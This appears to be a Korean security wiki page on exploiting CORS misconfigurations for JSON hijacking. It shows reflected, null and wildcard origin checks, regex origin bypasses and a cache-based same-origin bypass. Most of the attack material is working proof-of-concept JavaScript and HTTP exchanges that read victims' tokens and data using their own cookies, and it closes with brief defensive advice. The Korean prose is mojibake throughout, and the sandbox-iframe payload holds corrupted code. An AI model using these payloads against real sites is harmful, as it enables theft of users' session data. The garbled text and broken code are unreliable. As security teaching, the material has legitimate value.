๐ Introduction
JSON Hijacking์ SOP์ ์์ธ๋ฅผ ์ํ CORS ์ค์ ์ด ๋ฏธํกํ ๊ฒฝ์ฐ ๊ณต๊ฒฉ์๊ฐ ์ฌ์ฉ์์ ๋ฐ์ดํฐ ๋ฑ์ ์์๋ก ํ์ทจํ ์ ์๋ ๊ณต๊ฒฉ ๋ฐฉ๋ฒ์ ๋๋ค.
CORS
CORS(Cross-site Origin Sharing)๋ ์๋ฒ๊ฐ ๋ธ๋ผ์ฐ์ ๊ฐ ๋ฆฌ์์ค ๋ก๋๋ฅผ ํ์ฉํด์ผ ํ๋ ์์ฒด ์์ค ์ด์ธ์ ๋ชจ๋ ์ค๋ฆฌ์ง(๋๋ฉ์ธ, ์คํค๋ง ๋๋ ํฌํธ)์ ๋ํ๋ผ ์ ์๋๋ก ํ๋ HTTP ํค๋ ๊ธฐ๋ฐ ๋ณด์ ๋ฉ์ปค๋์ฆ์ ๋๋ค. ๊ทธ๋์ ๋ธ๋ผ์ฐ์ ๋ ๋ชจ๋ Cross site ๊ฐ์ ํต์ ์ ๊ธฐ๋ณธ์ ์ผ๋ก ์ฐจ๋จํ๊ณ ํด๋น ํค๋๋ก ํ์ฉ ์ ์ฑ ์ ๋ฐ์ ์๋ฒ์ ๋ํด์๋ง ๋ฐ์ดํฐ๋ฅผ ์ฃผ๊ณ ๋ฐ์ ์ ์๋๋ก ๋์ํฉ๋๋ค.
๊ทธ๋์ ์ค์ ๋ก ๋ฐ์ดํฐ ํต์ ์ด ์ผ์ด๋๊ธฐ ์ ์ CORS ์ ์ฑ ์ ์ค์ํ๋์ง ์ฒดํฌํ๊ธฐ ์ํด OPTIONS Method๋ก ์ฒดํฌ๋ฅผ ์งํํฉ๋๋ค. ์ด๋ฌํ ๊ณผ์ ์ Preflighted Request๋ผ๊ณ ๋ถ๋ฆ ๋๋ค.
Preflighted Request์ ์ค์ ๋ฐ์ดํฐ๋ฅผ ๊ฐ์ ธ์ค๊ธฐ ์ํ Request์์ ๋ชจ๋ Origin ํค๋๋ฅผ ํตํด ์ด ๋๋ฉ์ธ์์ ๋ฐ์ดํฐ๋ฅผ ๊ฐ์ ธ๊ฐ ์ ์๋์ง ์์ฒญํ๊ณ ,
GET /get-info.json HTTP/1.1
Origin: https://trusted-site
์๋ฒ๋ ACAO(Access-Control-Allow-Origin)๋ฅผ ํตํด ์ฌ์ฉํ ์ ์๋ ๋๋ฉ์ธ์ ์ ๋ณด๋ฅผ ๋ด๋ ค์ฃผ๊ฒ ๋ฉ๋๋ค.
HTTP/1.1 200 OK
...snip..
Access-Control-Allow-Origin: https://trusted-site
Access-Control-Allow-Credentials: true
๊ทธ๋ฆฌ๊ณ ๋ธ๋ผ์ฐ์ ๋ ์ ๋ฌ๋ฐ์ ACAO์ ๊ธฐํ CORS ๊ด๋ จ ํค๋๋ฑ์ ์ฐธ๊ณ ํ์ฌ ๋ฐ์ดํฐ ํต์ ์ ์ฒ๋ฆฌํ ์ง ๊ฒฐ์ ํ๊ณ ์ํํฉ๋๋ค.
Weakness
๊ทธ๋์ ์๋ฒ๊ฐ ์๋ชป๋ ACAO ํค๋๋ฅผ ์ ๋ฌํ๋ ๊ฒฝ์ฐ ํ์ฉ๋์ง ์๋ ๋๋ฉ์ธ์์ ์์๋ก ์ฌ์ฉ์์ ์ธ์ ์ ์ด์ฉํ์ฌ ๋ฐ์ดํฐ๋ฅผ ๊ฐ์ ธ๊ฐ ์ ์๊ณ , ์ด๋ฌํ ๊ฒฝ์ฐ๋ฅผ CORS Misconfigration ๊ทธ๋ฆฌ๊ณ ์ค์ ๋ก ํ์ทจ๊ฐ ์ผ์ด๋๋ค๋ฉด JSON Hijacking์ด๋ผ๊ณ ๋ถ๋ฆ ๋๋ค.
๐ก Offensive techniques
Detect
๊ณต๊ฒฉ์๊ฐ ์๋ํ ๋๋ฉ์ธ์ Origin ํค๋๋ก ์ ์กํ์ฌ ACAO ํค๋(Access-Control-Allow-Origin
)์ ๋ฐ์๋๋ค๋ฉด ์ทจ์ฝ ํ๋ค๊ณ ํ๋จํ ์ ์์ต๋๋ค. ์ผ๋ถ Wildcard(*
)๋ก ACAO ํค๋๊ฐ ์ค๋ ๊ฒฝ์ฐ๊ฐ ์๋๋ฐ, ์ด๋ฌํ ๊ฒฝ์ฐ ๋ชจ๋ ๋๋ฉ์ธ์์ ํธ์ถํ ์ ์์ง๋ง, Access-Control-Allow-Credentials
์ ๋ณ๊ฐ๋ก ์ฌ์ฉ์์ ์ฟ ํค๋ฅผ ๋ถ์ฌ์ ์ ์กํ ์ ์๊ฒ ๋ฉ๋๋ค. ์์ธํ ๋ด์ฉ์ ์ด์ ํฌ์คํธ๋ฅผ ์ฐธ๊ณ ํด์ฃผ์ธ์.
GET /get-info.json HTTP/1.1
Origin: https://www.hahwul.com
HTTP/1.1 200 OK
Server: nginx
Content-Type: application/json
Content-Length: 223
Connection: keep-alive
Last-Modified: Fri, 03 Sep 2021 01:43:46 GMT
Cache-Control: no-store, no-cache, must-revalidate, max-age=0
Access-Control-Allow-Origin: https://www.hahwul.com
Access-Control-Allow-Credentials: true
Vary: Origin
Reflected ACAO
GET /get-info.json HTTP/1.1
Origin: https://attacker.com
HTTP/1.1 200 OK
Server: nginx
Access-Control-Allow-Origin: https://attacker.com
Access-Control-Allow-Credentials: true
Null ACAO
ACAO ํค๋๋ Null์ ๋ฐํํ ์๋ ์์ต๋๋ค.
GET /get-info.json HTTP/1.1
Origin: null
HTTP/1.1 200 OK
Server: nginx
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
RFC 6454 ์์ privacy-sensitive context ์์ null์ ์ ์กํ๋ผ๊ณ ๋ช ์๋์ด ์์ต๋๋ค. privacy-sensitive context์ ํฌํจ๋๋๊ฑด ์๋์ ๊ฐ์ต๋๋ค.
- Anchor Tag/hyperlink click
- Window navigation
- Image load (
<img>
tag) - Stylesheet
- Dependent load in stylesheet
๋ฌธ์ ๋ null์ธ ๊ฒฝ์ฐ์ ์๋์ ๊ฐ์ด sandbox iframe์ ์ด์ฉํ์ฌ ํ์ทจํ ์ ์์ต๋๋ค.
<iframe name="malicious" srcdoc="<script>
varr = new XMLHttpRequest();
var url = 'https://target_site;
ropen('GET', url, false);
r.withCredentials=true;
r.sendo:
</script>" sandbox="allow-scripts" width="Opx" height="Opx" style="border: Opx none;">
</iframe>
์๋ stackoverflow ๊ธ๋ ๊ฐ์ด ์ฐธ๊ณ ํ์๋ฉด ์ข์ต๋๋ค.
Wildcard ACAO
Wildcard(*)๋ก ์๋ตํ๋ ๊ฒฝ์ฐ ์ด๋ค ๋๋ฉ์ธ์์๋ ๋ฐ์ดํฐ๋ฅผ ์ฒ๋ฆฌํ ์ ์์ต๋๋ค. ๋จ ์ฌ์ฉ์์ ์ธ์ (์ฟ ํค, ์ธ์ฆํค๋ ๋ฑ)์ ํฌํจ์ํฌ ์ ์์ต๋๋ค. ๊ทธ๋์ JSON Hijacking ๋ฑ ์ฌ์ฉ์ ์ธ์ ๊ธฐ๋ฐ์ ๊ณต๊ฒฉ ๊ด์ ์์ ์คํ๋ ค ์์ ํ ํํ์ ์ค์ ์ด์ง๋ง, ๋ฌด๋ถ๋ณํ API ํธ์ถ๋ก ์ด๋ทฐ์ง์ด ๊ฐ๋ฅํ ์๋ ์์ต๋๋ค.
๊ทธ๋์ ๋ณด์, ๊ฐ๋ฐ์์ ์ง์ ๋๋ฉ์ธ์ ์ค์ ํ๋๊ฒ ์์ ํ์ง, Wildcard๋ฅผ ์ค์ ํ๋๊ฒ ์์ ํ์ง ๊ฒํ ํ๊ณ ํ ์คํธํ์ฌ ์ ํ ์ ์ฉํ๋ ๊ฒ์ด ์ข์ต๋๋ค.
GET /get-info.json HTTP/1.1
Origin: *
HTTP/1.1 200 OK
Server: nginx
Access-Control-Allow-Origin: *
Exploitation
ACAO์ ๊ณต๊ฒฉ์๊ฐ ์๋ํ ๋๋ฉ์ธ์ ๋ฐ์ํ ์ ์๋ค๋ฉด ํด๋น ๋๋ฉ์ธ์์ ์ฌ์ฉ์์ ์ธ์ ์ ์ด์ฉํ์ฌ ๋ฐ์ดํฐ๋ฅผ ๊ฐ์ ธ์ฌ ์ ์๋ค๋ ๊ฒ์ ์๋ฏธํฉ๋๋ค.
var http = new XMLHttpRequest();
http.open("GET", "https://weak-service/get-info.json", true);
http.setRequestHeader("Content-Type","application/json");
http.withCredentials = true;
http.onreadystatechange = function() {
if(http.readyState == 4 && http.status == 200) {
console.info(http.status);
console.info(http.responseText);
document.write("Responsed data<hr>"+http.responseText);
} else {
document.write("Error");
}
}
http.send();
Bypass protection
Bypass Origin
Origin ํค๋์ ๋ํด ๊ฒ์ฆํ๋ ์ ์ฐจ๊ฐ ์๋ ๊ฒฝ์ฐ ์ด๋ค ํํ๋ก ๊ฒ์ฆ ํ๋์ง ํ์ ํด์ผํฉ๋๋ค. ์ ํํ๊ฒ ๋๋ฉ์ธ์ ์๋ณํ๋ค๋ฉด ์ฐํ๊ฐ ์ด๋ ต๊ฒ ์ง๋ง, ๋ฌธ์์ด ๋๋ ์ ๊ท์ ๊ธฐ๋ฐ์ผ๋ก ์๋ณํ๋ ๊ฒฝ์ฐ ์ฐํํ ๊ฐ๋ฅ์ฑ์ด ๋์ต๋๋ค. Origin์ ๊ฒฝ์ฐ Referer ํค๋์ ๋ค๋ฅด๊ฒ Path๊ฐ ๋ถ์ง ์๊ธฐ ๋๋ฌธ์ ๋๋ฉ์ธ์ ์ด์ฉํ ์ฐํ ๋ฐฉ๋ฒ์ด ์ต์ ์ ๋๋ค.
๋ํ์ ์ธ ๋ฐฉ๋ฒ์ผ๋ก trust domain์ subdomain์ผ๋ก ์์ฅํ๋ ๋ฐฉ๋ฒ์ ๋๋ค. ๋จ์ํ ํด๋น ๋๋ฉ์ธ์ ๋ฌธ์์ด์ด ์๋์ง ๊ฑธ๋ฌ๋ด๋ ๊ฒฝ์ฐ ์ฝ๊ฒ ์ฐํํ ์ ์์ต๋๋ค.
Origin: trust.domain.attacker.domain
.
(dot)์ ์ ๊ทํํ์์์ ๊ฐํ๋ฌธ์๋ฅผ ์ ์ธํ ๋ชจ๋ ๋ฌธ์๋ฅผ ์๋งํฉ๋๋ค. ๊ทธ๋์ ๋ง์ฝ trust.domain ์ด๋ ๋๋ฉ์ธ์ผ๋ก ๊ฒ์ฆํ๊ธฐ ์ํด ์ ๊ทํํ์์ trust.domain
์ผ๋ก ๊ฒ์ฌํ๋ ๊ฒฝ์ฐ .
์ด ์ค์ ๋ฌธ์ .
์ด ์๋ ์ ๊ทํํ์์ผ๋ก ํด์๋์ด ์๋์ ๊ฐ์ ํจํด์ด ํต๊ณผํ ์ ์์ต๋๋ค.
Origin: attacker.trustadomain
Origin: attacker.trustbdomain
Origin: attacker.trustcdomain
์๊ฐ๋ณด๋ค ์ ๋ฐ์ํ๋ ์ผ์ด์ค๋ก ์์๋๋ฉด ์ฐํํ๋๋ฐ ํฐ ๋์์ด ๋ฉ๋๋ค.
Bypass with dot
Origin ๊ฒ์ฌ๋ ๋ณดํต ์ ๊ทํํ์์ ๋ง์ด ์ฌ์ฉํฉ๋๋ค. ์ด ๋ dot(.
)์ ์กด์ฌ๋ฅผ ๊ฐ๋ฐ์๊ฐ ์ ๋์น๊ธฐ ์ฝ๊ณ , ์๋์ ๊ฐ์ด .
์ ์ง์ ์ฌ์ฉํ์์ ๊ฒฝ์ฐ ๋ฉํ ๋ฌธ์๋ก ๋์ํ์ฌ ์ฐํํ ์ ์์ต๋๋ค.
config.middleware.insert_before 0, Rack::Cors do
allow do
origins /^https:\/\/[0-9]{1,6}.apps.trusted.com/
resource '*', headers: :any, methods: %i[get post head]
end
end
Origin: https://123.apps.trusted.com (O)
Origin: https://123.google.com (X)
Origin: https://111.apps1trusted.com (O)
์ด์ ๊ด๋ จ๋ ์์ธํ ๋ด์ฉ์ CORS Bypass via dot ๊ธ์ ์ฐธ๊ณ ํด์ฃผ์ธ์!
Bypass with Caching
ACAO๊ฐ Wildcard(*
)์ธ ์ํ๋ ์ผ๋ฐ์ ์ผ๋ก ์ ์ ์ธ์
์ ์ฌ์ฉํ ์ ์์ด JSON Hijacking์ด ๋ถ๊ฐ๋ฅํ์ง๋ง, ๋ง์ฝ JSON Response ํ์ด์ง์ Cache-Control๋ก ์ธํด ๋ก์ปฌ ์บ์ฑ๋๋ ๊ฒฝ์ฐ SOP๋ฅผ ์ฐํํ์ฌ ์ ๋ณด๋ฅผ ๊ฐ์ ธ์ฌ ์ ์์ต๋๋ค.
Access-Control-Allow-Origin: *
Cached ๋ฐ์ดํฐ๋ฅผ ์ฝ๋ ๊ณผ์ ์ ์ค์ ์๋ฒ๋ก ๋ฐ์ดํฐ๋ฅผ ์์ฒญํ์ง ์๊ณ ๋ธ๋ผ์ฐ์ ๋ด์ ์ ์ฅ๋ ๋ฐ์ดํฐ๋ฅผ ๋ฐ๋ก ์ฝ์ด ์ฌ์ฉ์์๊ฒ ์ ๊ณตํฉ๋๋ค. ์ด๊ฑธ ์ด์ฉํ์ฌ ๊ณต๊ฒฉ์๊ฐ ์ค์ ์ ๋ณด๊ฐ ์๋ ํ์ด์ง๋ฅผ ์ฌ์ฉ์์ ์ธ์ ์ผ๋ก ์บ์ฑ์ํจ ํ ACAO๊ฐ Wildcard์ธ ์ํ์์ ์ด๋ฏธ ์บ์๋ ๊ฒฐ๊ณผ๋ฅผ ์ฝ์ด์ค๋ ํํ๋ก SOP๋ฅผ ํต๊ณผํ ์ ์์ต๋๋ค. (์๋๋ฉด Origin ์ ์ฑ ์ด wildcard ์ผ ๋ ์ธ์ฆ์ ํฌํจํ์ง ์๋ ์์ฒญ์ response๋ฅผ ์ฝ์ ์ ์๊ธฐ ๋๋ฌธ์ด์ฃ ๐)
์๋ฅผ๋ค์ด ์ธ์ฆ ์ํ์์๋ง ์ฌ์ฉ์ ์ ๋ณด๋ฅผ ๋ด๋ ค์ฃผ๋ ํ์ด์ง๊ฐ ์๋ค๊ณ ๊ฐ์ ํฉ์๋ค.
With Auth
HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
Cache-Control: private, max-age=3600
...
{"username":"hahwul","token":"ABCDEFG123456"}
Without Auth
HTTP/1.1 403 FORBIDDEN
Access-Control-Allow-Origin: *
Cache-Control: private, max-age=3600
...
์ด ๋ ACAO๊ฐ *
์ธ ์ํ์์ CSRF์ ๊ฐ์ด SOP์ ์ํฅ์ ๋ฐ์ง ์๋ ์์ฒญ(img, form, etcโฆ)์ ํตํด HTTP Request๋ฅผ ์ ์กํฉ๋๋ค.
<img src="https://vuln.hahwul.com/get-token">
๊ทธ๋ฌ๋ฉด ์๋์ ๊ฐ์ด ์ฌ์ฉ์ ์ ๋ณด๋ฅผ ํฌํจํ ์์ฒญ์ด Response๋ก ์ ๋ฌ๋ฉ๋๋ค. ๋น์ฐํ ๊ณต๊ฒฉ์ฝ๋๋ ์ด๋ฅผ ์ฝ์ ์ ์์ต๋๋ค. ๋จ response ๋ด cache-control๋ก ์ธํด ํด๋น ๋ฐ์ดํฐ๋ ์ฌ์ฉ์์ ๋ธ๋ผ์ฐ์ ์ ์บ์๋ฉ๋๋ค.
HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
Cache-Control: private, max-age=3600
{"username":"hahwul","token":"ABCDEFG123456"}
์ด์ withCredentials
๋ฅผ false
๋ก ์ฃผ๊ณ $.ajax
๋ฅผ ํตํด HTTP Request๋ฅผ ์ ์กํด๋ด
์๋ค. ACAO๊ฐ *
์ด๊ธฐ ๋๋ฌธ์ ์ด ์ฝ๋๋ Response์ ๋ฐ์ดํฐ๋ฅผ ํธ๋ค๋งํ ์ ์์ต๋๋ค. ๋ค๋ง ์ฌ์ฉ์์ ์ฟ ํค์ ๋ณด๋ ์น ์์ฒญ์ ํฌํจ๋์ง ์์ต๋๋ค.
$.ajax({
url: "https://vuln.hahwul.com/get-token",
type: "get",
xhrFields: {
withCredentials: false
},
headers: {
"Accept":"application/json",
"Accept-Language":"ko-KR,ko;q=0.8,en-US;q=0.5,en;q=0.3",
},
success: function (data) {
console.info(data);
}
});
์ด ๋ ์น ๋ธ๋ผ์ฐ์ ๋ ์บ์๋ ๋ฐ์ดํฐ๋ฅผ ์ฝ์ด์ค๊ธฐ ๋๋ฌธ์ body์ ์๋ ์ ๋ณด๊ฐ ํฌํจ๋์ด response๋ก ์ ๋ฌ๋ฉ๋๋ค.
{"username":"hahwul","token":"ABCDEFG123456"}
๊ทธ๋ฌ๋ฉด ๊ณต๊ฒฉ์๋ SOP๋ฅผ ๋ฌด์ํ๊ณ ์ฌ์ฉ์์ ์ ๋ณด๋ฅผ ํ์ทจํ ์ ์์ต๋๋ค. ์ ์ฒด ๊ณต๊ฒฉ ํ๋ก์ฐ๋ฅผ ๋ด์ ์ฝ๋๋ ์๋์ ๊ฐ๊ณ , ์์ธํ ๋ด์ฉ์ ์์ ์ ์์ฑํ ๊ธ์ ์ฐธ๊ณ ํด์ฃผ์ธ์ :D
<!-- Step1, Caching with Auth -->
<script>
var url = "https://vuln.hahwul.com/get-token";
fetch(url, {
method: 'GET',
cache: 'force-cache'
});
</script>
<!-- Sometimes, it is convenient to use the img tag when it is cached by default. -->
<!-- <img src="https://vuln.hahwul.com/get-token"> -->
<!-- Step2, Get Userdata without Auth(Using cache)-->
<script>
//delay for cached
setTimeout(function (){
// get information without auth
$.ajax({
url: "https://vuln.hahwul.com/get-token",
type: "get",
xhrFields: {
withCredentials: false
},
headers: {
"Accept":"application/json",
"Accept-Language":"ko-KR,ko;q=0.8,en-US;q=0.5,en;q=0.3",
},
success: function (data) {
console.info(data);
}
});
}, 2000);
</script>
๐ก Defensive techniques
CORS ์ฌ์ฉ์ด ํ์ํ ํ์ด์ง์์ ACAO ํค๋์ ๋ํด ๋๋ฉ์ธ์ ์ ํํ๊ฒ ๋ด๋ ค์ฃผ๋ ๊ฒ์ด ์ข์ต๋๋ค. ๋ง์ฝ ๋ก์ปฌ์์๋ง ํธ์ถ๋๋ ํ์ด์ง๋ผ๋ฉด ACAO ํค๋ ์์ฒด๋ฅผ ์ฌ์ฉํ์ง ์๋ ๊ฒ์ด ๊ฐ์ฅ ์ข์ต๋๋ค.
๋ํ ๋ฏผ๊ฐ์ ๋ณด์ ๊ฒฝ์ฐ Response ๋ด cache-control์ ์ ์ ํ ์ค์ ํ์ฌ (no-cache ๋ฑ) ๋ฐ์ดํฐ๊ฐ ๋ก์ปฌ ๋ธ๋ผ์ฐ์ ์ ํ์ผ๋ก ์บ์๋์ง ์๋๋ก ์ฒ๋ฆฌํด์ฃผ๋ ๊ฒ์ด ์ข์ต๋๋ค. (ํนํ ACAO *
์ ํ์ฉํ๋ ๊ฒฝ์ฐ)
๐ References
- https://www.hahwul.com/2020/01/12/json-hijacking-sop-bypass-technic-with-cache/
- https://www.hahwul.com/2019/04/10/why-failed-get-data-with-this-cors-policy/
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CORS%20Misconfiguration